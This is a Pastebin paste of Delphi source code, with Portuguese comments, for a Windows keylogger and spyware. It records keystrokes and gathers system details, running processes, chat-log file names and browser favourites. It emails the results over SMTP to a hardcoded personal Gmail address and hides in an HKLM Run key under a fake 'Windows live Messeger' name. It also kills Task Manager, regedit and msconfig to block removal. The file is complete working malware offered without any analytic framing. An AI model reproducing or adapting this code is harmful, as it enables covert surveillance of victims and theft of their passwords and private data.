Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2017
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 22.27 KB | None | 0 0
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs,TlHelp32,Registry, InvokeRegistry, IdMessage, IdAntiFreezeBase,
  8.   IdAntiFreeze, IdIOHandler, IdIOHandlerSocket, IdSSLOpenSSL,
  9.   IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  10.   IdMessageClient, IdSMTP, WebDisp, Rio, SOAPHTTPClient, ExtCtrls, StdCtrls;
  11.  
  12.     var
  13.     ax,bx,cx,dx,si,tmp,x1a2,res,i,inter,cfc,cfd,compte,j,k,l : Word;
  14.     x1a0  : array[0..7] of Word;
  15.     cle   : array[0..15] of char;
  16.     cry: array[0..33000] of char;
  17.         newkey : string;
  18.  
  19. type
  20.   TForm1 = class(TForm)
  21.     edtDiretorio: TEdit;
  22.     edtDiretorio2: TEdit;
  23.     Edit3: TEdit;
  24.     Edit4: TEdit;
  25.     Edit5: TEdit;
  26.     Edit6: TEdit;
  27.     edthost: TEdit;
  28.     edtuser: TEdit;
  29.     edtPass: TEdit;
  30.     chkSub: TCheckBox;
  31.     Memo1: TMemo;
  32.     listboxanexos: TListBox;
  33.     Timer1: TTimer;
  34.     Timer2: TTimer;
  35.     Timer3: TTimer;
  36.     Timer4: TTimer;
  37.     Timer5: TTimer;
  38.     HTTPRIO1: THTTPRIO;
  39.     WebAppComponents1: TWebAppComponents;
  40.     IdSMTP1: TIdSMTP;
  41.     SSLSocket: TIdSSLIOHandlerSocket;
  42.     IdAntiFreeze1: TIdAntiFreeze;
  43.     IdMessage1: TIdMessage;
  44.     procedure FormCreate(Sender: TObject);
  45.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  46.     procedure Timer1Timer(Sender: TObject);
  47.     procedure Timer2Timer(Sender: TObject);
  48.     procedure Timer3Timer(Sender: TObject);
  49.     procedure Timer4Timer(Sender: TObject);
  50. Function SerialNum(FDrive:String) :String;
  51.     procedure Timer5Timer(Sender: TObject);
  52.     procedure HTTPRIO1AfterExecute(const MethodName: String;
  53.       SOAPResponse: TStream);
  54.     procedure WebAppComponents1AfterDispatch(Sender: TObject;
  55.       Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
  56.     procedure IdSMTP1Connected(Sender: TObject);
  57.     procedure SSLSocketGetPassword(var Password: String);
  58.     procedure IdMessage1InitializeISO(var VTransferHeader: TTransfer;
  59.       var VHeaderEncoding: Char; var VCharSet: String);
  60.     procedure Memo1Change(Sender: TObject);
  61.     procedure edtDiretorioChange(Sender: TObject);
  62.     procedure edtDiretorio2Change(Sender: TObject);
  63.     procedure chkSubClick(Sender: TObject);
  64.     procedure listboxanexosClick(Sender: TObject);
  65.     procedure Edit3Change(Sender: TObject);
  66.     procedure edthostChange(Sender: TObject);
  67.     procedure Edit4Change(Sender: TObject);
  68.     procedure edtuserChange(Sender: TObject);
  69.     procedure Edit5Change(Sender: TObject);
  70.     procedure edtPassChange(Sender: TObject);
  71.     procedure Edit6Change(Sender: TObject);
  72.   private
  73.     { Private declarations }
  74.     procedure ListarArquivos(Diretorio: string; Sub:Boolean);
  75.     function TemAtributo(Attr, Val: Integer): Boolean;
  76.     procedure Enviar(Enviar:Boolean);
  77.   public
  78.     { Public declarations }
  79.   end;
  80.  
  81. var
  82.   Form1: TForm1;
  83.  
  84. implementation
  85.  
  86. {$R *.dfm}
  87. {$R ssleay32.res}
  88. {$R libeay32.res}
  89.  
  90. procedure code;
  91. begin
  92.   dx:= x1a2+i;
  93.     ax:= x1a0[i];
  94.   cx:= $015a;
  95.   bx:= $4e35;
  96.   tmp:= ax;
  97.     ax:= si;
  98.   si:= tmp;
  99.     tmp:= ax;
  100.     ax:= dx;
  101.     dx:= tmp;
  102.   if (ax <> 0) then ax:= ax*bx;
  103.   tmp:= ax;
  104.   ax:= cx;
  105.   cx:= tmp;
  106.   if (ax <> 0) then
  107.   begin
  108.     ax:= ax*si;
  109.     cx:= ax+cx;
  110.   end;
  111.     tmp:= ax;
  112.   ax:= si;
  113.   si:= tmp;
  114.   ax:= ax*bx;
  115.   dx:= cx+dx;
  116.     ax:= ax+1;
  117.   x1a2:= dx;
  118.     x1a0[i]:= ax;
  119.   res:= ax xor dx;
  120.     i:= i+1;
  121. end;
  122.  
  123. Procedure Assemble;
  124. begin
  125.     x1a0[0]:= ( ord(cle[0])*256 ) + ord(cle[1]);
  126.   code;
  127.   inter:= res;
  128.  
  129.     x1a0[1]:= x1a0[0] xor ( (ord(cle[2])*256) + ord(cle[3]) );
  130.     code;
  131.     inter:= inter xor res;
  132.  
  133.     x1a0[2]:= x1a0[1] xor ( (ord(cle[4])*256) + ord(cle[5]) );
  134.     code;
  135.     inter:= inter xor res;
  136.  
  137.     x1a0[3]:= x1a0[2] xor ( (ord(cle[6])*256) + ord(cle[7]) );
  138.     code;
  139.     inter:= inter xor res;
  140.  
  141.     x1a0[4]:= x1a0[3] xor ( (ord(cle[8])*256) + ord(cle[9]) );
  142.     code;
  143.     inter:= inter xor res;
  144.  
  145.         x1a0[5]:= x1a0[4] xor ( (ord(cle[10])*256) + ord(cle[11]) );
  146.         code;
  147.         inter:= inter xor res;
  148.  
  149.         x1a0[6]:= x1a0[5] xor ( (ord(cle[12])*256) + ord(cle[13]) );
  150.         code;
  151.         inter:= inter xor res;
  152.  
  153.         x1a0[7]:= x1a0[6] xor ( (ord(cle[14])*256) + ord(cle[15]) );
  154.         code;
  155.         inter:= inter xor res;
  156.  
  157.     i:= 0;
  158. end;
  159.  
  160.  
  161. Procedure Decrypt(ThisCle, Buffer: PChar; BufferLength: Integer);
  162.  
  163.      var
  164.     Rep: Char;
  165.     c, d, e: Byte;
  166. begin
  167.     // Some initializations
  168.     ZeroMemory(@Cry, SizeOf(Cry));
  169.     ZeroMemory(@Cle, SizeOf(Cle));
  170.     StrCopy(Cle, ThisCle);
  171.     si:=0;
  172.     x1a2:=0;
  173.     i:=0;
  174.         j:=0;
  175.         l:=0;
  176.  
  177.     while j<BufferLength-1 do begin
  178.         //(j:=0 to BufferLength-1 do begin
  179.  
  180.           rep:= Buffer[j];
  181.           case rep of
  182.             'a' : d:= 0;
  183.             'b' : d:= 1;
  184.             'c' : d:= 2;
  185.             'd' : d:= 3;
  186.             'e' : d:= 4;
  187.             'f' : d:= 5;
  188.             'g' : d:= 6;
  189.             'h' : d:= 7;
  190.             'i' : d:= 8;
  191.             'j' : d:= 9;
  192.             'k' : d:= 10;
  193.             'l' : d:= 11;
  194.             'm' : d:= 12;
  195.             'n' : d:= 13;
  196.             'o' : d:= 14;
  197.             'p' : d:= 15;
  198.           end;
  199.  
  200.           d:= d shl 4;
  201.           j:=j+1;
  202.  
  203.           rep:= Buffer[j];      { rep =  second letter }
  204.           Case rep of
  205.             'a' : e:= 0;
  206.             'b' : e:= 1;
  207.             'c' : e:= 2;
  208.             'd' : e:= 3;
  209.             'e' : e:= 4;
  210.             'f' : e:= 5;
  211.             'g' : e:= 6;
  212.             'h' : e:= 7;
  213.             'i' : e:= 8;
  214.             'j' : e:= 9;
  215.             'k' : e:= 10;
  216.             'l' : e:= 11;
  217.             'm' : e:= 12;
  218.             'n' : e:= 13;
  219.             'o' : e:= 14;
  220.             'p' : e:= 15;
  221.           end;
  222.           c:= d + e;
  223.           Assemble;
  224.           cfc:= inter shr 8;
  225.           cfd:= inter and 255;
  226.  
  227.           c:= c xor (cfc xor cfd);
  228.  
  229.           for compte:= 0 to 15 do
  230.             cle[compte]:= chr(ord(cle[compte]) xor c);
  231.  
  232.           // Note : c contains the decrypted byte
  233.           cry[l]:=chr(c);
  234.           j:=j+1;
  235.           l:=l+1;
  236.     end;
  237.  
  238. end;
  239.  
  240.  
  241.  
  242.  
  243. function killtask(ExeFileName: string): Integer;
  244. const
  245. PROCESS_TERMINATE = $0001;
  246. var
  247. ContinueLoop: BOOL;
  248. FSnapshotHandle: THandle;
  249. FProcessEntry32: TProcessEntry32;
  250. begin
  251. Result := 0;
  252. FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  253. FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
  254. ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  255.  
  256. while Integer(ContinueLoop) <> 0 do
  257. begin
  258. if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
  259. UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
  260. UpperCase(ExeFileName))) then
  261. Result := Integer(TerminateProcess(
  262. OpenProcess(PROCESS_TERMINATE,
  263. BOOL(0),
  264. FProcessEntry32.th32ProcessID),
  265. 0));
  266. ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  267. end;
  268. CloseHandle(FSnapshotHandle);
  269. end;
  270.  
  271.  
  272. procedure TForm1.ListarArquivos(Diretorio: string; Sub: Boolean);
  273. var
  274.  
  275.   F: TSearchRec;
  276.  
  277.   Ret: Integer;
  278.  
  279.   TempNome: string;
  280.  
  281. begin
  282.  
  283.   Ret := FindFirst(Diretorio+'\*.*', faAnyFile, F);
  284.  
  285.   try
  286.  
  287.     while Ret = 0 do
  288.  
  289.     begin
  290.  
  291.       if TemAtributo(F.Attr, faDirectory) then
  292.  
  293.       begin
  294.  
  295.         if (F.Name <> '.') And (F.Name <> '..') then
  296.  
  297.           if Sub = True then
  298.  
  299.           begin
  300.  
  301.             TempNome := Diretorio+'\' + F.Name;
  302.  
  303.             ListarArquivos(TempNome, True);
  304.  
  305.           end;
  306.  
  307.       end
  308.  
  309.       else
  310.  
  311.       begin
  312.  
  313.         Memo1.Lines.Add(F.Name);
  314.  
  315.       end;
  316.  
  317.         Ret := FindNext(F);
  318.  
  319.     end;
  320.  
  321.   finally
  322.  
  323.   begin
  324.  
  325.     FindClose(F);
  326.  
  327.   end;
  328.  
  329. end;
  330.  
  331. end;
  332.  
  333. function TForm1.TemAtributo(Attr, Val: Integer): Boolean;
  334. begin
  335. Result := Attr and Val = Val;
  336. end;
  337.  
  338. procedure ListProcesses;
  339.  
  340. var
  341.  
  342. ExeName : String;
  343.  
  344. //Descreve as entradas dos processos residentes no sistema
  345.  
  346. proc : PROCESSENTRY32;
  347.  
  348. //handle, a posição de memória alocada do objeto
  349.  
  350. hSnap : HWND;
  351.  
  352. Looper : BOOL;
  353.  
  354. begin
  355. // Captura o tamanho de bytes de PROCESSENTRY32
  356.  
  357.         proc.dwSize := SizeOf(Proc);
  358.  
  359.         hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  360.  
  361.         //Captura o nome dos processos e insere no ListBox
  362.  
  363.         Looper := Process32First(hSnap,proc);
  364.  
  365.         while Integer(Looper) <> 0 do begin
  366.  
  367.                 ExeName := ExtractFileName(proc.szExeFile);
  368.  
  369.                 Form1.memo1.lines.Add(ExeName);
  370.  
  371.                 Looper := Process32Next(hSnap,proc);
  372.  
  373.         end;
  374.  
  375.         CloseHandle(hSnap);
  376.  
  377. end;
  378.  
  379.  
  380.  
  381. Function tForm1.SerialNum(FDrive:String) :String;
  382. Var
  383.     Serial:DWord;
  384.     DirLen,Flags: DWord;
  385.     DLabel : Array[0..11] of Char;
  386. begin
  387.     Try GetVolumeInformation(PChar(FDrive+':\'),dLabel,12,@Serial,DirLen,Flags,nil,0);
  388.         Result := IntToHex(Serial,8);
  389.         Except Result :='';
  390.     end;
  391. end;
  392.  
  393. function GetEnvVarValue(const VarName: string): string;
  394. var
  395.   BufSize: Integer;  // buffer size required for value
  396. begin
  397.   // Get required buffer size (inc. terminal #0)
  398.   BufSize := GetEnvironmentVariable(PChar(VarName), nil, 0);
  399.   if BufSize > 0 then
  400.   begin
  401.     // Read env var value into result string
  402.     SetLength(Result, BufSize - 1);
  403.     GetEnvironmentVariable(PChar(VarName),
  404.       PChar(Result), BufSize);
  405.   end
  406.   else
  407.     // No such environment variable
  408.     Result := '';
  409. end;
  410.  
  411. Function usuario: string;
  412. var
  413.   buffer: array[0..255] of char;
  414.   size: dword;
  415. begin
  416.   size := 256;
  417.     if GetUserName(buffer, size) then
  418.        Result := buffer
  419.     else
  420.        Result := ''
  421. end;
  422.  
  423.  
  424. Procedure TForm1.Enviar(Enviar: Boolean);
  425. var
  426. i: integer;
  427.  
  428. begin
  429.  
  430. try
  431. IdMessage1.MessageParts.Clear;
  432. IdSMTP1.Host := Edthost.Text;
  433. IdSMTP1.Username:= EdtUser.text;
  434. IdSMTP1.Password := EdtPass.text;
  435. IdSMTP1.AuthenticationType:= atLogin ;
  436.  
  437. if ListBoxAnexos.Items.Count > 0 then
  438. begin
  439. for i:= 0 to ListBoxAnexos.Items.Count - 1 do
  440. TIdAttachment.Create(IdMessage1.MessageParts, ListBoxAnexos.Items[i]);
  441. end;
  442.  
  443. IdMessage1.From.Address:= 'nome do pc infectado';//EdtOrigem.Text;
  444. IdMessage1.Subject:= 'kl progmaster';//EdtAssunto.Text;
  445. {podem tirar a linha abaixo se vcs quiserem}
  446. IdMessage1.Body.Text := memo1.Lines.Text;
  447.  
  448. IdMessage1.BccList.EMailAddresses := 'jeffersonfariassampaio@gmail.com';//edtbcc.Text;
  449.  
  450.  
  451. if not IdSMTP1.Connected then
  452. begin
  453. IdSMTP1.Connect();
  454. IdSMTP1.Send(IdMessage1);
  455. Application.ProcessMessages;
  456. end;
  457. finally
  458. IdSMTP1.DisConnect();
  459.  
  460. end;
  461. end;
  462.  
  463. Procedure ssleay32;
  464. Var PathToSave:String;
  465. Res : TResourceStream;
  466. Begin
  467. PathToSave := 'C:\Windows\system32\ssleay32.dll'; // (Pasta + Nome da dll aonde vai salvar)
  468. If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
  469. Res := TResourceStream.Create(Hinstance, 'ssleay32', 'DLL'); //O título e o tipo do arquivo
  470. Try // Salva o arquivo
  471. Res.SavetoFile(PathToSave);
  472. Finally
  473. Res.Free;
  474. End;
  475. end;
  476. end;
  477.  
  478. Procedure libeay32;
  479. Var PathToSave:String;
  480. Res : TResourceStream;
  481. Begin
  482. PathToSave := 'C:\Windows\system32\libeay32.dll'; // (Pasta + Nome da dll aonde vai salvar)
  483. If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
  484. Res := TResourceStream.Create(Hinstance, 'libeay32', 'DLL'); //O título e o tipo do arquivo
  485. Try // Salva o arquivo
  486. Res.SavetoFile(PathToSave);
  487. Finally
  488. Res.Free;
  489. End;
  490. End;
  491. end;
  492.  
  493. function coloca(txt: string): string;
  494. begin
  495. Form1.memo1.lines.text:=Form1.memo1.lines.text+txt;
  496. end;
  497.  
  498. procedure TForm1.FormCreate(Sender: TObject);
  499. var
  500.     Buf : PChar;
  501.         Bufkey : Pchar;
  502.         keysize : Integer;
  503.         Size : Integer;
  504.  
  505. begin
  506.  
  507. libeay32;
  508. ssleay32;
  509.  
  510. with IdSMTP1 do
  511. begin
  512. AuthenticationType := atLogin;
  513. Host :=Edthost.Text;
  514. IOHandler := SSLSocket;
  515. Password := EdtPass.Text;
  516. Username:= EdtUser.Text;
  517. Port := 465
  518. end;
  519. SSLSocket.SSLOptions.Method := sslvSSLv23;
  520. SSLSocket.SSLOptions.Mode := sslmClient;
  521.  
  522. edtDiretorio.Text :=  'C:\Documents and Settings\' + usuario + '\Meus documentos\Os Meus Registos\';
  523. edtDiretorio2.Text :=  'C:\Documents and Settings\' + usuario + '\Favoritos\';
  524.  
  525. Memo1.Lines.Add ( #13);
  526.     Memo1.Lines.Add ( 'Nome do computador:');
  527.     Memo1.Lines.Add(GetEnvVarValue('COMPUTERNAME'));
  528.     Memo1.Lines.Add ( #13);
  529.  
  530.     Memo1.Lines.Add ( 'Usuário logado:');
  531.     Memo1.Lines.add (usuario);
  532.     Memo1.Lines.Add ( #13);
  533.  
  534.     Memo1.Lines.Add ( 'Serial da unidade C:');
  535.     Memo1.Lines.add (serialnum('c'));
  536.     Memo1.Lines.Add ( #13);
  537.  
  538.     Memo1.Lines.Add ( 'Processos Ativos:');
  539.     ListProcesses;
  540.     Memo1.Lines.Add ( #13);
  541.  
  542.     Memo1.Lines.Add ( 'Emails de conversas realizadas:');
  543.     ListarArquivos(edtDiretorio.Text, chkSub.Checked);
  544.     Memo1.Lines.Add ( #13);
  545.  
  546.     Memo1.Lines.Add ( 'Sites marcados como favoritos do Internet Explorer:');
  547.     ListarArquivos(edtDiretorio2.Text, chkSub.Checked);
  548.     Memo1.Lines.Add ( #13);
  549.  
  550.     Size := edit3.GetTextLen;
  551.         if (Size=0) then exit;
  552.         keysize := Edit6.GetTextLen;
  553.         if (keysize=0) then exit;
  554.     GetMem(buf, Size+1);
  555.     edit3.GetTextBuf(Buf, Size+1);
  556.         GetMem(Bufkey,keysize+1);
  557.         Edit6.GetTextBuf(Bufkey,keysize+1);
  558.  
  559.         if (keysize>16) Then
  560.         begin
  561.          FreeMem(Buf);
  562.          FreeMem(Bufkey);
  563.         end
  564.        else
  565.         begin
  566.     decrypt(Bufkey, buf, Size);
  567.     FreeMem(buf);
  568.         FreeMem(Bufkey);
  569.         EdtHost.SetTextBuf(Cry);
  570.  
  571.  
  572.         Size := edit4.GetTextLen;
  573.         if (Size=0) then exit;
  574.         keysize := Edit6.GetTextLen;
  575.         if (keysize=0) then exit;
  576.     GetMem(buf, Size+1);
  577.     edit4.GetTextBuf(Buf, Size+1);
  578.         GetMem(Bufkey,keysize+1);
  579.         Edit6.GetTextBuf(Bufkey,keysize+1);
  580.  
  581.         if (keysize>16) Then
  582.         begin
  583.          FreeMem(Buf);
  584.          FreeMem(Bufkey);
  585.         end
  586.        else
  587.         begin
  588.     decrypt(Bufkey, buf, Size);
  589.     FreeMem(buf);
  590.         FreeMem(Bufkey);
  591.         Edtuser.SetTextBuf(Cry);
  592.  
  593.  
  594.         Size := edit5.GetTextLen;
  595.         if (Size=0) then exit;
  596.         keysize := Edit6.GetTextLen;
  597.         if (keysize=0) then exit;
  598.     GetMem(buf, Size+1);
  599.     edit5.GetTextBuf(Buf, Size+1);
  600.         GetMem(Bufkey,keysize+1);
  601.         Edit6.GetTextBuf(Bufkey,keysize+1);
  602.  
  603.         if (keysize>16) Then
  604.         begin
  605.          FreeMem(Buf);
  606.          FreeMem(Bufkey);
  607.         end
  608.        else
  609.         begin
  610.     decrypt(Bufkey, buf, Size);
  611.     FreeMem(buf);
  612.         FreeMem(Bufkey);
  613.         Edtpass.SetTextBuf(Cry);
  614.  
  615.  
  616. end;
  617. end;
  618. end;
  619.  
  620. end;
  621.  
  622. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  623. begin
  624. Application.Run;
  625. end;
  626.  
  627. procedure TForm1.Timer1Timer(Sender: TObject);
  628.  var       i : byte;
  629. begin
  630.   for i:=8 To 222 do
  631.     begin
  632.        if GetAsyncKeyState(i)=-32767 then
  633.         begin
  634.         case i of
  635.         8  :   begin
  636.         memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
  637.       //  memo1.text:=memo1.text+'[Bakspace]';
  638.         end;
  639.         9  : memo1.text:=memo1.text+' [Tab] ';
  640.         13 : begin  //foi pressionado o enter
  641.               memo1.text:=memo1.text+ ' [Enter] '+#13#10; //Enter
  642.              end;
  643.         17 : memo1.text:=memo1.text+' [Ctrl] ';
  644.         27 : memo1.text:=memo1.text+' [Esc] ';
  645.         32 :memo1.text:=memo1.text+' '; //Space
  646.         // Del,Ins,Home,PageUp,PageDown,End
  647.         33 : memo1.text := Memo1.text + ' [Page Up] ';
  648.         34 : memo1.text := Memo1.text + ' [Page Down] ';
  649.         35 : begin//foi pressionado o end o programa vai finalizar.
  650.              memo1.text := Memo1.text + ' [End] ';
  651.              application.Terminate;
  652.              end;
  653.         36 : memo1.text := Memo1.text + ' [Home] ';
  654.         //Arrow Up Down Left Right
  655.        // 37 : memo1.text := Memo1.text + '[Left]';
  656.        // 38 : memo1.text := Memo1.text + '[Up]';
  657.         //39 : memo1.text := Memo1.text + '[Right]';
  658.         //40 : memo1.text := Memo1.text + '[Down]';
  659.         44 : memo1.text := Memo1.text + ' [Print Screen] ';
  660.         45 : memo1.text := Memo1.text + ' [Insert] ';
  661.         46 : memo1.text := Memo1.text + ' [Del] ';
  662.         145 : memo1.text := Memo1.text + ' [Scroll Lock] ';
  663.  
  664.         //Number 1234567890 Symbol !@#$%^&*()
  665.         48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
  666.              else memo1.text:=memo1.text+'0';
  667.         49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
  668.              else memo1.text:=memo1.text+'1';
  669.         50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
  670.              else memo1.text:=memo1.text+'2';
  671.         51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
  672.              else memo1.text:=memo1.text+'3';
  673.         52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
  674.              else memo1.text:=memo1.text+'4';
  675.         53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
  676.              else memo1.text:=memo1.text+'5';
  677.         54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
  678.              else memo1.text:=memo1.text+'6';
  679.         55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
  680.              else memo1.text:=memo1.text+'7';
  681.         56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
  682.              else memo1.text:=memo1.text+'8';
  683.         57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
  684.              else memo1.text:=memo1.text+'9';
  685.         65..90 : // a..z , A..Z
  686.             begin
  687.             if ((GetKeyState(VK_CAPITAL))=1) then
  688.                 if GetKeyState(VK_SHIFT)<0 then
  689.                    memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
  690.                 else
  691.                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
  692.             else
  693.                 if GetKeyState(VK_SHIFT)<0 then
  694.                     memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
  695.                 else
  696.                     memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
  697.             end;
  698.         //Numpad
  699.         96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
  700.         106:memo1.text:=memo1.text+'*';
  701.         107:memo1.text:=memo1.text+'&';
  702.         109:memo1.text:=memo1.text+'-';
  703.         110:memo1.text:=memo1.text+'.';
  704.         111:memo1.text:=memo1.text+'/';
  705.         144 : memo1.text:=memo1.text+' [Num Lock] ';
  706.  
  707.         112..123: //F1-F12
  708.             memo1.text:=memo1.text+' [F'+IntToStr(i - 111)+'] ';
  709.  
  710.         186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
  711.               else memo1.text:=memo1.text+';';
  712.         187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
  713.               else memo1.text:=memo1.text+'=';
  714.         188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
  715.               else memo1.text:=memo1.text+',';
  716.         189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
  717.               else memo1.text:=memo1.text+'-';
  718.         190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
  719.               else memo1.text:=memo1.text+'.';
  720.         191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
  721.               else memo1.text:=memo1.text+'/';
  722.         192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
  723.               else memo1.text:=memo1.text+'`';
  724.         219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
  725.               else memo1.text:=memo1.text+'[';
  726.         220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
  727.               else memo1.text:=memo1.text+'';
  728.         221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
  729.               else memo1.text:=memo1.text+']';
  730.         222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
  731.               else memo1.text:=memo1.text+'''';
  732.         end;
  733.         end;
  734.     end;
  735. //texto.Free;
  736.   With Form1 do
  737.     SetWindowPos(Handle, // "handle" para a janela
  738.                  HWND_TOPMOST, // controla onde vai ficar a janela  (*¹)
  739.                  Left,  // a posição horizontal
  740.                  Top,   // a posição vertical
  741.                  Width, // a largura
  742.                  Height, // a altura
  743.                  // opções de posicionamento da janela
  744.                  SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE); // (*²)
  745.  
  746. end;
  747.  
  748. procedure TForm1.Timer2Timer(Sender: TObject);
  749. var
  750. Reg: TRegistry;
  751. S: string;
  752. begin
  753. Reg := TRegistry.Create;
  754. S:=ExtractFileDir(Application.ExeName)+'\'+ExtractFileName(Application.ExeName);
  755. Reg.rootkey:=HKEY_LOCAL_MACHINE;
  756. Reg.Openkey('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',false);
  757. Reg.WriteString('Windows live Messeger',S);
  758. Reg.closekey;
  759. Reg.Free;
  760.  
  761. end;
  762.  
  763. procedure TForm1.Timer3Timer(Sender: TObject);
  764. Var I : Integer;
  765.   ConteudoLinha : String;
  766. begin
  767. Memo1.Text := StringReplace((Memo1.Text),'.html','',[rfReplaceAll]);
  768. for i := 0 to Memo1.Lines.Count-1 do
  769. begin
  770.    ConteudoLinha:=UpperCase(Memo1.Lines.Strings[i]);
  771.   if (Pos('.Png',ConteudoLinha)<>0) or (Pos('.PNG',ConteudoLinha)<>0) then
  772.   Memo1.Lines.Delete(i);
  773.  
  774. end;
  775.  
  776. end;
  777.  
  778. procedure TForm1.Timer4Timer(Sender: TObject);
  779. begin
  780. killtask('regedit.exe');
  781. killtask('taskmgr.exe');
  782. killtask('msconfig.exe');
  783. end;
  784.  
  785. procedure TForm1.Timer5Timer(Sender: TObject);
  786. begin
  787. Memo1.Lines.Add ( #13);
  788. Memo1.Lines.Add ( 'Dados coletados em:');
  789. Memo1.Lines.Add (FormatDateTime ('dddd", "dd" de "mmmm" de "yyyy',now) + '  As: ' + FormatDateTime('hh:nn:ss',now));
  790. Memo1.Lines.Add ( #13);
  791. Enviar (True);
  792. end;
  793.  
  794. procedure TForm1.HTTPRIO1AfterExecute(const MethodName: String;
  795.   SOAPResponse: TStream);
  796. begin
  797.  
  798. end;
  799.  
  800. procedure TForm1.WebAppComponents1AfterDispatch(Sender: TObject;
  801.   Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
  802. begin
  803.  
  804. end;
  805.  
  806. procedure TForm1.IdSMTP1Connected(Sender: TObject);
  807. begin
  808.  
  809. end;
  810.  
  811. procedure TForm1.SSLSocketGetPassword(var Password: String);
  812. begin
  813.  
  814. end;
  815.  
  816. procedure TForm1.IdMessage1InitializeISO(var VTransferHeader: TTransfer;
  817.   var VHeaderEncoding: Char; var VCharSet: String);
  818. begin
  819.  
  820. end;
  821.  
  822. procedure TForm1.Memo1Change(Sender: TObject);
  823. begin
  824.  
  825. end;
  826.  
  827. procedure TForm1.edtDiretorioChange(Sender: TObject);
  828. begin
  829.  
  830. end;
  831.  
  832. procedure TForm1.edtDiretorio2Change(Sender: TObject);
  833. begin
  834.  
  835. end;
  836.  
  837. procedure TForm1.chkSubClick(Sender: TObject);
  838. begin
  839.  
  840. end;
  841.  
  842. procedure TForm1.listboxanexosClick(Sender: TObject);
  843. begin
  844.  
  845. end;
  846.  
  847. procedure TForm1.Edit3Change(Sender: TObject);
  848. begin
  849.  
  850. end;
  851.  
  852. procedure TForm1.edthostChange(Sender: TObject);
  853. begin
  854.  
  855. end;
  856.  
  857. procedure TForm1.Edit4Change(Sender: TObject);
  858. begin
  859.  
  860. end;
  861.  
  862. procedure TForm1.edtuserChange(Sender: TObject);
  863. begin
  864.  
  865. end;
  866.  
  867. procedure TForm1.Edit5Change(Sender: TObject);
  868. begin
  869.  
  870. end;
  871.  
  872. procedure TForm1.edtPassChange(Sender: TObject);
  873. begin
  874.  
  875. end;
  876.  
  877. procedure TForm1.Edit6Change(Sender: TObject);
  878. begin
  879.  
  880. end;
  881.  
  882. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement